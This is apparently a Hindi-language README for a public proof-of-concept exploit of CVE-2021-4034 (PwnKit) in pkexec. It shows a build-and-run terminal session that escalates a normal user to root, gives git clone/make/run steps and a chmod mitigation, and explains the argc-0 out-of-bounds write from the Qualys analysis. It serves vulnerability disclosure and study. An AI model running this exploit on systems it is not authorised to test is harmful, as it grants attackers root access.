
CVE-2021-4034 (PwnKit) के लिए C-आधारित प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो pkexec में आउट-ऑफ-बाउंड्स राइट के माध्यम से स्थानीय विशेषाधिकार वृद्धि को सक्षम करता है। इसमें बिल्ड निर्देश और भेद्यता स्पष्टीकरण शामिल है।
CVE-2021-4034
debian@debian:~/PwnKit-Exploit$ make
cc -Wall exploit.c -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit#
| Command | उपयोग |
|---|---|
sudo chmod 0755 pkexec | CVE 2021-4034 का समाधान |
git clone https://github.com/luijait/PwnKit-Exploit
cd PwnKit-Exploit
make
./exploit
whoami
| Command | उपयोगिता |
|---|---|
make clean | संशोधित कोड का परीक्षण करने के लिए बिल्ड को साफ करें |
blog.qualys.com पर आधारित
pkexec के main() फ़ंक्शन की शुरुआत कमांड-लाइन आर्गुमेंट्स को प्रोसेस करती है (लाइन 534-568), और यदि उसका पथ निरपेक्ष नहीं है तो PATH पर्यावरण चर के निर्देशिकाओं में निष्पादित किए जाने वाले प्रोग्राम की खोज करती है (लाइन 610-640):
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
दुर्भाग्य से, यदि कमांड-लाइन आर्गुमेंट्स की संख्या argc 0 है – जिसका अर्थ है कि यदि हम execve() को पास करने वाली आर्गुमेंट लिस्ट argv खाली है, अर्थात {NULL} – तो argv[0] NULL है। यह आर्गुमेंट लिस्ट का टर्मिनेटर है। इसलिए:
लेकिन वास्तव में इस सीमा से बाहर argv[1] से क्या पढ़ा और लिखा जाता है?
इस प्रश्न का उत्तर देने के लिए, हमें संक्षेप में विषयांतर करना होगा। जब हम एक नया प्रोग्राम execve() करते हैं, तो कर्नेल हमारे आर्गुमेंट, पर्यावरण स्ट्रिंग्स और पॉइंटर्स (argv और envp) को नए प्रोग्राम के स्टैक के अंत में कॉपी करता है; उदाहरण के लिए:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
स्पष्ट रूप से, क्योंकि argv और envp पॉइंटर्स मेमोरी में सन्निकट हैं, यदि argc 0 है, तो सीमा से बाहर argv[1] वास्तव में envp[0] है, जो हमारे पहले पर्यावरण चर "value" का पॉइंटर है। परिणामतः:
तो, अधिक सटीक रूप से कहें तो:
दूसरे शब्दों में, यह सीमा से बाहर लिखना हमें pkexec के वातावरण में एक "असुरक्षित" पर्यावरण चर (उदाहरण के लिए, LD_PRELOAD) को पुनः प्रस्तुत करने की अनुमति देता है। ये "असुरक्षित" चर सामान्यतः main() फ़ंक्शन को कॉल करने से पहले SUID प्रोग्राम के वातावरण से (ld.so द्वारा) हटा दिए जाते हैं। हम अगले खंड में इस शक्तिशाली प्राथमिकता का शोषण करेंगे।
अंतिम समय का नोट: polkit गैर-लिनक्स ऑपरेटिंग सिस्टम जैसे Solaris और *BSD का भी समर्थन करता है, लेकिन हमने उनकी शोषणीयता की जांच नहीं की है। हालांकि, हम ध्यान देते हैं कि OpenBSD शोषणीय नहीं है, क्योंकि इसका कर्नेल किसी प्रोग्राम को execve() करने से मना कर देता है यदि argc 0 है।